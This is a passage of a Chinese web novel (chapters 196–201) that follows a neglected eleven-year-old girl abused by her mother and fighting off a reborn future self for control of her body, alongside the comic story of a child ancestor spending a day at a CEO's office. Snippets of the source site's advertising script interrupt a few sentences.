“还是不要了,老祖宗怎么交代的,我们就怎么做。” “我们都不要忘记了,老祖宗是因为什么来到下界的,等事情完全解决后,家族命数改变了,老祖宗肯定不会继续待在下界,会离开的。” 白保国深邃的眼睛里除了昨夜没怎么休息好的疲惫,还有坚毅不屈的光。 白安邦垂眸沉默了。 天下无不散的宴席,这谁都知道。 可等真到了分别时刻,有几人能做到内心平静无波的目送人离开。 “对了,那件事情处理得怎么样了。” 虽全权交给儿子处理,但白保国心中多少还是会有一点点不放心。 “出了点小情况,不过不影响后面的安排。” 白安邦顺便将他们离开后,咖啡馆发生的事和老爷子说了下。 白保国安静的听着,全程没插话。 等儿子说完后,他才道:“后天你媳妇就回来了,记得先想好了,这事要怎么跟你媳妇说,到时要是把人气回娘家了,看我不抽死你。” 白安邦:“……” “知道了,爸。” 老爷子没明说,可作为他儿子还不明白。 事情已经发生了,对或错全看他媳妇儿做出判决,如果媳妇儿也觉得他错了或者怎么都气不过。 那不管是跪键盘戳衣板,还 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 是负荆请罪,只要能让人消气,让他干啥都行。 “对了,你昨晚没去医院,这点做的不错。” 白保国在后代的教育上,严厉归严厉,却也不吝啬夸赞。 “嗯。” 父子俩继续聊了差不多有半个小时,才前后离开书房,各自去忙各自的事。 …… 医院里。 女儿一晚上没醒来,姜梦“照顾”了人一宿,整个人状态不是很好。 当然主要还是心里打得啪啪响的算盘落空了,整个人正处在发疯的边缘。 姜可柔是早上六点三十几分醒来的,其实她本可以更早醒来的。 只是在她身上发生了一件颠覆她认知,令她惊恐害怕的事,有个自称是 未来的她的孤魂野鬼竟然想抢夺她的身体。 幸好她反应够快,与那孤魂野鬼缠斗了好几个小时,终于恢复意识醒来。 她……赢了吗? 原本就因伤了脑袋流了那么多血进医院的,又经历那么一场旁人看不见的身体抢夺战。 姜可柔此时身心俱疲,明明病房里开着空调的,可她全身像是从水里捞起来,全被汗湿了。 在医院里哪里能睡好,更何况姜梦还要坚持不懈的给陈助理打电话。 早上快六点的时候,姜梦去医院食堂吃完早餐回来时,她就发现了病床上的女儿脸上偶尔会流露出痛苦狰狞的表情,脸上身上也一直在冒汗。 她第一时间有想过要叫医生的,只是伸手刚要按铃时,她犹豫了。 最后她收回手,静静的坐在床边看着,也没有要帮人擦汗的意思。 费力的睁开眼睛,适应了好一会儿,视线才清明起来。 看清床边坐着的人是谁,姜可柔声音沙哑干涩的唤道:“妈……渴……” 一下子流了那么多汗,一晚上又是姜梦这个不靠谱的妈照顾的,姜可柔这一刚醒来能不口渴吗? 姜梦皱眉,依旧坐那不动,没有要给人倒下水的意思。 刚醒来,姜可柔脑袋还迷迷糊糊的,一时不记得昏迷前的事情。 见她妈没有动,以为是没听到,她实在渴得厉害,便两手撑着床想自己起来去倒水。 第196章 我那迷人的小祖宗or老祖宗(34) 只是就她现在的身体情况,哪里有力气自己坐起来。 才将身体撑起来一个小小的幅度,人就直接摔回床上,整个人显得好不狼狈。 毕竟是才十一岁的小姑娘,委屈的情绪一下子如潮涌袭向心头,眼泪在眼眶中打着转,一副随时要掉下来的样子。 “哈哈,蠢货,说了让你把身体交给我,由我来替你活这一世,你偏要和我抢,你个没用的蠢货!” 脑中突然冒出了一道熟悉的声音,姜可柔身体猛的一颤,眸中流露出惊惧之色。 那……那个……孤魂野鬼竟然还在她身体里! 她以为抢回自己的身体,醒来后,对方就会被她挤出身体之外了。 “怎么,蠢货,吓傻了?你不会以为刚刚就是在做梦,一切都假的吧!” “我告诉你,本来你乖乖把身体交给我,我是未来的你,有我来帮你活这一世,你知道你的人生将有多精彩,也将不会再重蹈覆辙,最后……” 姜可柔失控的喊道:“闭嘴,我不听,我不听!” 病床边坐着的姜梦:“……” “你干嘛?刚醒来就发疯,也不注意下场合,还不快安静点。” 姜梦的声音一出,不仅病床上的姜可柔安静了,她脑中的那道声音也跟着安静了。 而也是姜梦的这一声,姜可柔想起……全都想起来了。 在咖啡馆包间里,她妈说的那些话,原来她妈心中是那样想的。 还有原来她妈的力气可以那么大,大到将她推倒…… 明明脑袋磕到墙壁发出的声音那么响,她妈怎么可能没听到,应该是有听到的吧! 可是她妈没有,没有回头看下她的情况。 血,越流越多,意识渐渐模糊,她以为她很快就要死了。 反正她肯定离死亡很近很近过,才给了那孤魂野鬼可乘之机,进入了她的身体。 从小就坚强独立,即使再累再委屈,她都咬着牙不让自己掉眼泪。 从记事开始,她第一次眼泪掉得这么凶,一时半会根本停不下来。 脑中的声音只是消停了会儿,就又开始巴拉巴拉地讲。 “你刚刚瞎吼瞎叫什么,没瞧见咱妈昨晚应该是照顾了你一宿,现在整个人是那样憔悴疲惫。” “哭,哭,你还有脸哭,咱妈刚刚那样说你根本没错。” “我告诉你,对咱妈态度好点。” “算了,你还是把身体给我用吧,咱妈我自己来孝敬,感觉交给你很不靠谱的样子。” “哼,我在你这个年纪的时候,可比你懂事多了,从来没上过医院浪费钱。” “你难道不清楚进一趟医院要花多少钱吗?咱家现在的经济情况,你有钱交医药费吗?” “都怪你这个不省心的,咱妈昨晚本就因为要照顾你,人没能休息好,不仅如此,你还要让她烦恼医药费的事。” “闭嘴,别哭了,你没看到咱妈被你吵得很不舒服吗?” …… 姜可柔真的很伤心很难过,脑中那道声音在说什么,她根本没仔细听。 “……呜呜……嘶!” 手臂上传来的疼痛让她下意识倒抽了口凉气,哭声也跟着停下来,不过眼泪还在掉着。 姜梦被哭烦了,真想给人一巴掌,最后她选择在人胳膊上拧了下。 “哭哭哭,哭什么哭,不是提醒你看看这是在什么地方,你这孩子真的是越长大越不乖了。” “嗯,还没用,都勾不起安邦的半点父女之情,早知道是这样,我当时就该提前照一下,确认是你这样的赔钱玩意,就打掉,再重新做试管……” “呜呜,我的命怎么那么苦,都怪你个贱丫头,为什么你不是儿子,不是儿子。” 一晚上,足以让姜梦的情绪在崩溃边缘。 她边哭诉边还拿手去拧姜可柔的胳膊。 姜可柔眼泪还在掉着,一副失了神的模样,没有反抗,也没有喊疼。 而她脑中的声音只是消停了那么一下下,就又继续,声音比之前更激动,隐隐还含着些许不可置信。 “这……这肯定不是我原来的世界,我妈不可能说那样的话,更不可能现在这样对我。” “对,平行世界,一定是平行世界。” (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' “难怪这个世界的我会把自己整进医院,她明明记得直到大学毕业,她都没因受伤进过医院。” “还有妈,她一向温温柔柔,柔柔弱弱的,怎么可能露出那样的表情,说出那样的话?” “不过就算是平行世界又怎样,蠢货,你的身体我要定了。” 姜可柔死了,然后她又活了。 重生吗? 她一开始是这么认为的,简直欣喜若狂。 同时已经暗暗在心里发誓,这一世她一定要活成全世界女人最羡慕的样子。 反正她再也不要像上一世那样,明明拥有那样的资本可以当女王,为何偏生要围着男人转。 最后稀里糊涂的死去,对,就是稀里糊涂, 而且死前还经历无尽的痛苦。 痛得快失去意识前,姜可柔努力在脑中复盘自己的一生。 思来想去,完美谈 不上,毕竟有那样的童年以及身世。 还有挺多的遗憾,最大的遗憾就是那个宁死也不从了她的男人。 最后,她找到了一个词来形容她这一生,那就是精彩。 只是她这精彩的一生结束得太快了,还稀里糊涂的,这让她真的很不甘心。 不过她果然是受上天眷顾的,不然前世不会让她得到那样的金手指,死后又让她重生。 反正姜可柔已经想好了,拥有那些超凡的东西,她为什么不当个大女主。 至于男人,呵! 哪怕是那个让她求而不得的男人,这一世有本事就继续宁死不从。 不过,姜可柔脑中已经生出十几种将人拿下的法子。 然后她有点迫不及待的想要睁开眼睛。 也就是这时,姜可柔才发现了不对劲。 她控制不了自己的身体! 很快的,姜可柔发现了问题所在。 原来是这具身体的真正主人,也就是另一个她还在身体里了。 人都是自私的。 这种时候,谁还管身体里的另一道灵魂也是她。 想也不想,姜可柔主动朝对方发出攻击,想彻底强占下这具身体。 第197章 我那迷人的小祖宗or老祖宗(35) 可恨的是,她竟然没抢过对方。 凭实力抢不过,她只能想其他法子,开始晓之以理,动之以情。 反正就是各种劝说,分析利害,让对方明白把身体让她,由她来活这一世才是最明智的选择。 可惜了,没想到这个世界的自己竟然是个蠢货。 她好话说尽都没用,脾气也就上来了。 现在是怎么看这个世界的自己怎么嫌弃,不爽极了。 也幸好她即使无法掌控身体,却能看到外界的一切,听到外界的声音。 十一岁的姜可柔身体瑟缩了下,不是因为被姜梦捏痛的,而是因为听到脑袋中那孤魂野鬼说要定了她的身体。 姜梦教训女儿累了,才退回坐到椅子上。 人以前压抑久了,很多话都不能随心说。 自从在咖啡馆,好像是脑子一抽,还是人一激动,就直接把藏在心中十来年的话说了出来。 一开始,她是隐隐有些担忧的,只是后面她发现自己好像有点管不住自己的嘴了。 事情一件接着一件,根本没给姜梦思考的时间,最后她干脆破罐子破摔了。 别说,心里想说什么就说出来,甚至像现在这样想动手就动手,人真的舒坦极了。 姜可柔双手抱着膝盖缩在病床上,没去看她妈。 原本遇到这种事,她醒来第一时间应该是向她妈求助的。 可她妈从昨天见了渣……那男人后,就开始变了。 又或许不是她妈变了,而是她妈本来就是这样子。 想到身体里还有要对她图谋不轨的孤魂野鬼,姜可柔在这一瞬间觉得有些无助与绝望。 忽的,一只手机被丢到床上。 “来,你来给陈助理打电话,看能不能从他那里要到你爸的电话,再不济,看能否让你爸来医院看看你。” “还有,等下电话通了,说话时语气要尽量得体大方点,你是安邦的女儿,算起来也是他陈助理的小主子。” 姜可柔侧头看了她妈一眼,才慢慢拿起手机来。 这时,好不容易消停会儿的某孤魂野鬼突然一声惊呼,惊得姜可柔才拿手上的手机掉回床上。 “什么?怎么会这样?” “现在是哪一年?不对,都不对,你们怎么可能现在就和渣爸联系上了。 重生回来的姜可柔心里莫名很不踏实,还有些慌,急迫感袭来,她必须尽快掌控身体,不然迟则生变。 姜梦紧紧盯着人,瞧见都已经拿起手机,还能让手机掉回去,当即眉头一皱。 她忽起巴掌就朝人右肩扇去。 “怎么?是不是心里对我这个当妈的有了埋怨,埋怨我推了你,让你磕到脑袋?还是埋怨我数落骂你的这些话?” “你个没良心的,你就说我哪句话说错了,我辛辛苦苦把你生出来,给你找了个好爸,找了个金窝窝,可谁叫你自己不争气,胯下没能多出那几两肉来。” 姜梦越说越来气,“你的命是我给的,就算我要把它收回来,你凭什么有怨言,所以我就说你几句,稍稍教训下你,这些你通通必须感恩戴德的受着。” 姜梦竖起食指在人脑袋上用力的戳了戳,“知道了吗?知道的话,还不赶紧拿起手机打电话。” “还有,我知道你从小就是个机灵的,等下电话里该怎么说,不用我教你吧!” “嗯,知道了……妈。” 眼泪在眼眶里打着转,姜可柔第一次不想忍住眼泪,却不得不忍住。 重生回来的姜可柔:“……” 到底都发生了什么? 为什么这个世界的她妈是这副……如市井泼妇,令人有些生厌的模样。 还有她说的那些话是什么意思? 她妈明明很爱很爱她,从小到大都没用这种语气和她说过话,更没有动手打过她。 重生回来的姜可柔开始平心静气下来,这一世似乎很多都和上一世不一样。 好吧,就连她现在是个什么情况,都还搞不清楚。 不过,想到自己未来最大的底牌与依仗,她心中隐隐生起的淡淡不安才散去。 算了,先不要去管其他。 哪怕她妈真面目其实就是这样子, (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 只是她那一世,她妈隐藏很好,可那又怎样。 她都已经几岁了,不是做孩子时那个渴望父爱母爱的小姑娘了。 等她掌控了身体,提前找到那白玉瓶子…… 就算无法提前找到,再不济,多等几年,就当韬光养晦。 哼,到时那些嫌弃她,看不起她的人,包括……这个世界的她妈,他们会知道自己当时有多愚蠢无知。 反正当务之急还是尽快掌控身体。 重生回来的姜可柔见那个蠢货重新拿起手机,准备给渣爸身边的那个陈助理打电话。 她脑袋倏地灵光一闪,冷哼道:“咱们让你打电话给渣爸身边的陈助理,最终目的就是想要渣爸的联系方式,能直接和渣爸联系。” “我说了,我真的是未来的你,现在我把渣爸的电话报给你,你直接给渣爸打电话不就行了。” 有钱人么,手机号码都是那种一看就老值钱,还特别很好 记的。 渣爸的手机号码就是,不然她怎么可能去记渣爸的号码。 也不管蠢货会不会按照她的意思,真的打电话给渣爸,她直接报出了一串数字来。 十一岁的姜可柔准备点下去的手指一顿,也不知道是出于什么心理,她真的重新输入一串数字,按照脑中声音给的号码拨了出去。 重生回来的姜可柔见那蠢货真的听她的话,直接给渣爸打去电话,心里既得意,又莫名的有几分不爽。 其实后来她知道了一切的真相,可是对渣爸,对白家的报复已经开始了。 开弓没有回头箭。 而且谁对谁错谁说的算,不应该是她这个最无辜也是最大的受害者吗? 那她说渣爸有错,白家有错,那他们就通通有错。 真正的强者就该凭心做事,随心所欲的活着。 白家人的存在,特别是那三兄弟的存在,让她一辈子都无法对以前的艰难拮据生活释怀。 所以,白家人会被她灭掉,真的一点都不冤。 没办法,世道就是这样,强者做什么都没有错,强者说的话那就是真理。 第198章 我那迷人的小祖宗or老祖宗(36) 其实姜梦心中也没抱多大希望,所以见人重新拿起手机,她便起身去倒水喝了。 十一岁的姜可柔听到她妈喝水的声音,情不自禁的舔了舔嘴唇。 她咬咬牙,手指终是轻轻按了下去。 穷人家的孩子早当家,她比其他同龄孩子懂事得更早。 以前,她的世界里只有她妈,以及对渣爸的恨。 可是,好像很多事情根本不是她妈说那样。 而且她妈变了,彻底变了。 她害怕,害怕如果真的被送出国。 到时和她妈一起在国外生活,那日子可想而知…… 明明,明明她是一个很懂事很乖巧的孩子。 以前她妈也夸过她,说她是贴心的小棉袄。 每次她出去捡瓶子,捡废纸皮回来时,她妈总会心疼的拉着她好一番夸夸。 为什么? 为什么,全都不一样了。 还有那个小妹妹……她同父异母的小妹妹,凭什么,凭什么她被养得像个小公主,而她…… 一个个,一个个的,全都来欺负她。 就连身体里的那个自称是未来的她的孤魂野鬼,哈哈,也来欺负她,还想抢她的身体。 手机里传出嘟嘟嘟的声音,病房里的两人一魂都安静的等待着。 车上。 白安邦正闭目养神了,没办法,昨夜没休息好。 手机响时他并没有第一时间睁开眼睛,等响了有几声,他才睁开眼睛看是谁打来的电话。 陌生号码? 白安邦一下子以为是上官家那边谁的电话,比如管家。 想到这,他忙接起电话。 只是电话接通后,好几秒过去,那边都没有声音传来。 就在他皱眉疑惑时,终于有声音传来了。 先是吃痛后倒抽凉气的“嘶”,紧接着就是委屈的低呼喊痛声。 病房里,白梦见电话都接通了,姜可柔却傻傻捧着手机不说话,上前对着人的胳膊就是用力一拧。 眼神如刀的瞪了人一眼,努了努下巴,无声地示意人赶紧说话。 白安邦眸光一凝,心里一下子有了猜测。 他没有说话,而是等对方先开口说话。 没让他等太久,电话那头就又有声音传来。 “你……你好。” 是小姑娘的声音,有些沙哑无力,听着有些紧张忐忑,基本证实了他的猜测。 白安邦面色直接沉了下来,看来等下挂了电话,必须好好查查到底是谁把他的手机号码给出去。 不是很想回应对方,只是想到人不久前遭的罪,以及那剪不断的血缘关系。 白安邦最终还是冷淡疏离的“嗯”了声。 不得不说,姜梦是真的爱惨了白安邦,仅凭这么一声“嗯”,她竟然听出了是谁的声音。 安邦,是安邦的声音! 姜梦不可置信。 姜梦欣喜若狂。 她想去抢手机,只是刚伸出手时就顿住了。 不行,她摇头,而后拿手轻轻推了推女儿的肩膀,并朝人挤眉弄眼,手舞足蹈起来。 翻译下就是快说话,必须给她把握好机会,不然等下有你好看。 十一岁的姜可柔瑟缩了下身体,垂了垂眼睑,遮掩去眸中闪过的坚定神色。 “我叫姜可柔,我们见过的,在咖啡馆里,你……你真的是我爸爸吗?” 白安邦很想摇头说不是,不过既定事实,否认也没意义。 “嗯。” 电话那头又沉默了好一会儿,才有声音传来。 “……爸,我能这么叫你吗?以前看到别的小朋友都有爸爸,我却没有,真的很羡慕他们,没想到现在我也是有爸的孩子了。” 白安邦:“……” 不知道要和这孩子说什么,有点想挂电话了。 没得到回应,姜可柔却依旧继续说着。 “爸,我能不能不出国,我害怕,你可以继续不用给我钱的,我很厉害,很小时就已经能自己挣钱养活自己了。” “还有,你不认我也没事的,我知道……” 白安邦心中生起些许躁意来,然后就听小姑娘的声音被打断了。 前面听着,姜梦都觉得还可以,只是听到说不认也没事时,人就炸了。 “你个死丫头,瞎说什么?” 不认? 怎么可以,母凭子贵已经指望不上的,现在她就指望着安邦能看在女儿的份上,不要断了和她 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 们的来往。 “你个丫头,好好跟你爸说话,别使小性子。” 姜梦又拍了下人的肩膀,同时恶狠狠的瞪了人一眼。 “你爸他怎么可能是那种不认亲骨肉的人,他只是需要时间来接纳你,你再瞎说这种话,寒了你爸的心,看我不打死你。” 十一岁的姜可柔:“……” 重生回来的姜可柔:“……” 电话那头的白安邦:“……” 白安邦其实很想点头附和的,他就是那种人,未来他也永远不会接纳这个孩子的。 算了多说无益,反正很快就要将人送出国了。 白安邦道:“没其他事, 我挂了。” 电话那头的全都急了。 “不……不要挂。” “安邦,别挂,孩子还有很多话要和你说。” 母女俩同时出声,都是一个目的。 “嘟嘟嘟……” 白安邦他只是习惯性的问了下,主要还是通知对方他要挂电话了。 挂完电话,他直接将号码拉黑处理。 甚至还考虑要不要换个号码,省得人是送出国了,偏生留下个隐患。 唉,事都赶一起了,真够让人烦心的。 白安邦收起手机看向车窗外,也不知道老祖宗在上官家待的舒心不? 而此时被他惦念着的白小人幺幺正屁颠屁颠的跟在某人身后,瞧见人要上车。 她忙发挥自己的小身板优势,先人一步爬上车了。 坐好后,发现大佬还没上来,白幺幺忙拍了拍旁边座位。 “大哥哥,你快上来呀,不然等下上班要迟到了。” 才说完,她立马就自己反应过来,“对哦,大哥哥是老板,爱几点到公司就几点到,没有迟到一说。” 上官墨:“……” 不是,关键是这个吗? 不是说只是出来送送他的吗? 怎么就上车呢? 没让人再催第二次,上官墨还是先上车了。 因为他算是看明白了,喊人下车肯定喊不下来。 而他只要态度稍稍强硬下,小人儿又红眼眶掉眼泪怎么办? 至于用什么强制手段,这个他是从未想过。 第199章 我那迷人的小祖宗or老祖宗(37) 车子驶入办公楼的地下停车场。 两人下车后,直接坐专属电梯上楼,去到上官墨办公室。 下车后到进入办公室,期间都没有遇到其他人。 所以那种类似“哇哦,震惊自家总裁疑似有女儿了,自家总裁竟是带着带着女儿来上班”等八卦新闻并没有在公司里传开。 “大哥哥,你去忙吧,我随意,还有我自己会照顾好自己的。” “嗯。” 上官墨应了声,就去忙自己的事了。 白幺幺走到落地窗前的沙发上坐下,捧着手机开始看剧。 想着之后还要去修仙世界体验一番,她这不得赶紧恶补下。 有用没用不知道,不过看得出有些作者和编剧的脑洞还真大。 看到好笑的,白幺幺就会捂着嘴笑,尽量不让自己发出声音来打扰到大佬工作。 “叩叩叩……” 敲门声响起。 白幺幺听到了,不过视线却没离开平板电脑的屏幕。 又不是找她的,她凑啥热闹。 至于门外人是男是女,长啥样,进来做什么的,她可没这个好奇心。 林特助是送文件进来的,放下文件要离开时,他才发现白幺幺的存在。 林特助:“……” 白家的老祖宗竟然还跟着老板来公司,两个家族的关系什么时候变得如此……好了。 林特助也仅仅是脚步停顿了下,就继续外走去。 追剧没有小零食是没有灵魂的。 白幺幺只是犹豫了那么一下下,穿上鞋子朝大佬走去。 听到渐行渐近的脚步声,上官墨抬头,“有事?” 他相信小人儿是无事不登三宝殿的主。 “嗯。” 白小人幺幺没觉得有啥不好意思的,开口把自己的要求说了下。 当然说是要求,其实就是报了十来种零食的名字。 “大哥哥,你那边能安排人帮我去把东西买回吗?我记得办公楼的斜对面就是个商场,直接去里面买,来回不用二十分钟。” 上官墨皱眉,并没有马上答应人,而是说道:“垃圾食品吃多了对身体不好。” 白小人幺幺赞同的点头,“我知道呀。” 上官墨:“……” “知道你还想吃!” “可是大哥哥,知道是一回儿事,想吃又是另一回事。” 反正,两人一旦对上,最后妥协的都是他。 上官墨早就发现这点了,他道:“我现在让人去给你买回来, “谢谢大哥哥,大哥哥你对幺幺真好,幺幺最喜欢的大哥哥了。” 目的达成,白小人幺幺嘴叫那个甜,笑容叫那个灿烂。 上官墨没有回答,只是神色有了那么一瞬的不自然,同时在心里嘀咕了句,“真是个不矜持的!” 才过去十几分钟,林特助再次进到办公室里来。 这回他进来的第一眼不是朝自己老板看,而是往落地窗那边看去。 小零食还没买回来,白幺幺就暂停追剧,拿起桌上的书随意翻看着。 察觉到林特助的视线,她抬头看过去,两道视线在空中交汇。 想到大佬应该就是要交代这人去给自己买小零食,白幺幺朝人轻点了下头,就低头继续翻看手中捧着的书。 上官墨的记忆力不用说的,白幺幺只念了一遍,十来款小零食的名字他就全记下来了。 林特助走过来时,上官墨刚好将最后一款小零食的名字写到纸上。 放下笔,上官墨将纸递给林特助,“去对面的商场将上面的东西买回,每样买一包就行。” 林特助接过那张薄薄的纸,还没细看自家老板要买的东西是什么,一道声音传来。 “大哥哥,一包太少,三包,每样至少也要来三包。” 白小人幺幺说话时,还比划了三个手指,“大哥哥,你别担心买多了会浪费,幺幺自己一个人吃得完的。” 上官墨:“……” 不是,谁担心吃不吃得完,会不会浪费的问题? 他明明是不想小人儿吃太多垃圾食品。 林特助:“……” 原来是给白家老祖宗买零食呀! 不过也挺意外的就是了。 只是他等下每样到底要买几包? 林特助没有离开,眼神询问的看向自家老板。 他或许能理解自家老板那颗老父亲的心 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' ……呃,错了,脑子想太快,直接乱入了什么奇奇怪怪的用词。 辈分上虽是白家的老祖宗,但也改变不了就是个小女孩。 不知道出于什么原因,自家老板把人带来公司,算是变相的帮人带孩子。 带孩子么,可随便马虎不得。 自家老板应该是不好拒绝小女孩的要求,可答应归答应,却没打算让人吃太多外面买的零食。 就在林特助以为他家老板可不会依着小女孩想法来,说一不二,更不可能改成三时,他家老板的声音响起。 “去吧,按她的意思,每样三包。” 林特助:“???” 不是,老板,虽然那不是自家的孩子,但就算是别人 家的孩子,也不能这般宠呀! 还有,老板,您至少发挥下在商场上的谈判精神。 您老先报一,对方回三,那您不应该是来个一锤定音,就是二了。 上官墨见人还没要离开的意思,问道:“还有事?” 林特助一下子回神,忙摇头,“没……没有。” 出了办公室,林特助边走边看下都要买些什么。 果然全是零食,其中有四款是他爱吃的。 想来这张采购清单应该是自家老板在网上查的,根据众网友推荐写出来的。 林特助的办事效率很快,只用了十分钟就将东西买回了。 当上官墨抬头瞧见林特助提着两大袋东西进来时,黑眸中划过一抹错愕。 怎么说了,他没吃过这些零食。 所以还真不清楚,有些膨化食品,瞧着很大包,鼓鼓囊囊的,其实里面有一半的空气。 其实林特助可不仅仅是买了这两大袋,他自己也买了些,还放车上了。 想着先把自家老板要的送上来,等下再下去拿自己买的上来分给同事吃。 白幺幺见林特助把东西买回来了,有点迫不及待的拿出一包,嘶啦一声,包装袋撕开一个口子,她开始津津有味的吃起来。 正准备开门出去的林特助:“……” 如果他没失忆的话,自家老板很不喜办公室有异味。 像这种在办公室里吃零食的行为,自家老板是绝对不会允许的。 第200章 我那迷人的小祖宗or老祖宗(38) 林特助心里一紧,真的很想出声提醒下人。 只是人家瞧着年纪虽小,可那身份不是他能随便说什么的。 林特助内心那叫一个纠结煎熬,他开始表演超级慢动作的开门,关门。 直到门关上,林特助站在原地茫然了。 没有? 他家老板竟然没有任何反应,任由对方在他办公室吃零食。 至于他家老板可能还没发现对方在他办公室吃起来了,这是不可能的。 因为对方已经撕开包装在吃的是辣条,就算自家老板没注意到,也肯定闻到味了呀。 难道他家老板是碍于对方的身份,才如此纵容,忍耐。 可是,林特助感觉他家老板不是会因为对方身份就忍耐的人。 不过原来他家老板还是挺尊老爱幼的,他以前竟然没发现。 其实吧,上官墨在闻到那股奇奇怪怪的味道时,眉头一下子就皱得能夹死苍蝇。 双唇张了合,合了张,来来回回不下十次。 最后,上官墨捏了捏眉心,继续专注于手头上的事。 或许他该庆幸,小人儿吃独食了,不然…… 正在吃独食的白小人幺幺:“……” 她也不想独食的呀,可是大佬瞧着明显就很排斥这些东西,更别说吃。 吃人嘴软,白幺幺想着她就不拿这些东西去请大佬吃,为难他了。 别看白幺幺现在人小,战斗力杠杠的。 一早上在那边看剧边吃,自己小小一个人就解决了六包零食,一份份量不小的水果拼盘和一大杯的果汁。 水果拼盘和果汁还是后面上官墨又让林特助送进来的。 上官墨想法很简单,人的胃就那么大,让人多吃点水果,就能少吃点零食。 时间在忙忙碌碌中过得很快。 午饭时间到了。 在大佬询问她午饭想吃什么时,白小人幺幺神色有了那么一丢丢不自然。 她现在的情况就特别像那种让家长不省心的孩子。 饭前没节制的吃了太多零食。 到了该吃饭时,没有意外的,就完全吃不下饭或者只能吃一点点。 上官墨:“……” 他故意报了好几个地方,同时简单介绍下各个地方的几道招牌菜。 不得不说,大佬就是大佬,做啥都很厉害。 反正吧,白幺幺听得是那叫一个馋。 心里隐隐有些后悔,看剧时,太放纵自己,一个没注意就吃得有那么一点点多了。 现在听着诸多美味佳肴,心里想吃极了,可惜小肚肚不争气哈。 白小人幺幺一下子有些蔫吧。 目的达成,可见小人儿这副模样,上官墨心中隐隐又懊恼起来。 最后……他认命了。 “也不一定要中午就去吃,晚上或者明天随时想去吃都可以的。” 白小人幺幺:“……” 对哦,白幺幺同志又满血复活了。 “大哥哥,你公司有食堂吧,咱们中午就去你公司食堂吃,晚上再一起去吃大餐。” “嗯,有食堂。” 白小人幺幺听后,张开双臂,“大哥哥抱。” 还要等到晚上才能吃到美食,白幺幺觉得自己的小心灵还是有那么一丢丢的受伤,所以需要大佬的抱抱安慰。 “啪嗒啪嗒……砰……” 上官墨抱着人刚进公司食堂,就惊得好几个员工或汤匙或筷子,一个没拿稳直接掉了。 有一个端着餐盘的员工,更夸张,还撞墙了。 不过只是餐盘撞墙了,也幸亏力气大,将餐盘拿得稳稳的,餐盘并没有掉。 一个个能不震惊么,首先是自家boss从没到公司食堂用过餐,其次就是自家boss手上居然抱着个小女孩。 上官墨微微皱眉,他不太喜欢太嘈杂的地方。 一众在用餐的员工:“……” boss呀,我们平时真不这样的,用餐环境还是很安静的。 白幺幺:“……” 大佬的员工为何会是这样反应? 懂,她能不懂么。 这种情节,不就是小说里的惯用情节。 只可惜了,她才不是大佬那个娇妻带球跑的球。 某习惯吃饭手机“先吃”的员工,她手就这么不受控制的移动,带着手机移动。 做贼心虚,心跳加速的把这一幕拍 (function () {var id = "2377029035902478992-21409";document.write('''');(window.adbyunion = window.adbyunion || []).push(id);})(); () { $(''.inform'').remove(); $(''#content'').append('' 了下来。 聊八卦么,有图有真相是不是更好点。 原本快吃完的人,都有意识的放慢吃饭速度。 有几个吃得那就一个优雅,米饭都是一粒一粒夹着吃的。 上官墨抱着人进去,寻了一处位置,将人放到椅子上,才去打饭。 当然离开前,肯定是问了白幺幺要吃什么的。 不得不说,大佬公司食堂的伙食还不错,味道也很好。 白幺幺肚子不饿,选择喝粥配小菜。 与此同时,公司的监控室里,武十瞅着那三个下负责公司安保的手下,此刻他们的下巴都快掉下来。 他暗暗在心里冷哼,不就是他们主子抱着白家的老祖宗,有啥好大惊小怪的。 今天是他轮值跟在主子身边保护,公司这边使用的是最先进的安保系统,同时也配备了一支安保团队。 因此到了公司,他并不需要时刻跟在主子身边贴身保护。 当然主要还是今天白家老祖宗不是跟着主子来公司了吗? 武十下意识的就不想去做电灯泡,没错,就是电灯泡。 当然,武十直接忘记了,自己第一次见到主子抱白家老祖宗时,那眼珠都快从眼眶里瞪出来了。 中午,白安邦情绪不怎么高的吃着饭。 媳妇儿快回来了,老头子又发话了,他心里很是发怵。 手机持续震动了好几下,白安邦却没马上拿起来看。 反正早看晚看,对方发过来的信息又跑不掉。 至于可能有啥急事? 呵,有急事不会打电话啊。 等到手机不再震动,白安邦才无声的叹了口气,拿起手机看看谁给他发的信息。 林泽铭? 这小子都有大半年没联系他了,今儿怎么会突然给他发那么多条信息。 两人是大学舍友,关系还算可以。 对方出国深造回来后,就去…… 白安邦猛地一拍脑袋,想着对方突然发信息过来会不会和老祖宗有关。 他忙点开信息查看,对方首先发来了一张照片,跟在照片后面的是好几条文字信息。 白安邦视线全黏在照片上了,久久都没能移开。 第201章 我那迷人的小祖宗or老祖宗(39) 他家老祖宗被人抱了? 不是,他家老祖宗怎么可能让人抱? 也不是,那个谁,他凭什么抱他家老祖宗? 白安邦霍的站起来,整个人都不淡定了,直接在屋里踱步起来,嘴上碎碎念。 “上官家主这是什么意思?” “哼,我家老祖宗是啥情况,对方不应该门儿清吗?” “他怎么可以抱我家老祖宗!” “呵,现在是在跟他们揣着明白当糊涂吗?” “一个圈子里的人,谁还不知道谁,他上官墨会抱……孩子,会和人有如此亲密的肢体接触,说出来谁信呀!” “或许未来可能会有,那肯定也是他上官墨的种,可这不是人还没出生。” “妈的!” 白安邦想到某种可能,再也忍不住破口大骂起来。 反正办公室就他一人,没看他连上官家主都不喊了,直接连名带姓的。 就问你,突然冒出一个男人,要当你后……后…… 白安邦抓了抓脑袋,感觉这个称呼问题有点难倒他了。 反正,总结一句话,就是有人要诱拐走你家的老祖宗,就问你气不气,气不气! “不行,不行,还是要赶紧将老祖宗接回来。” “嗯,还必须让老祖宗知道某人那阴险狡诈,居心不良,狼子野心,衣冠禽兽的真面目!” 人在办公室坐,锅从天上来的上官墨:“……” 他阴险狡诈?嗯,认了。 他居心不良?嗯,勉强认了。 他狼子野心?嗯,勉勉强强认了。 他衣冠禽兽?嗯,这就必须好好说道说道了。 白安邦:呵,这还有啥好说道的,他家老祖宗现在瞅着是几岁,几岁? 四岁啊! 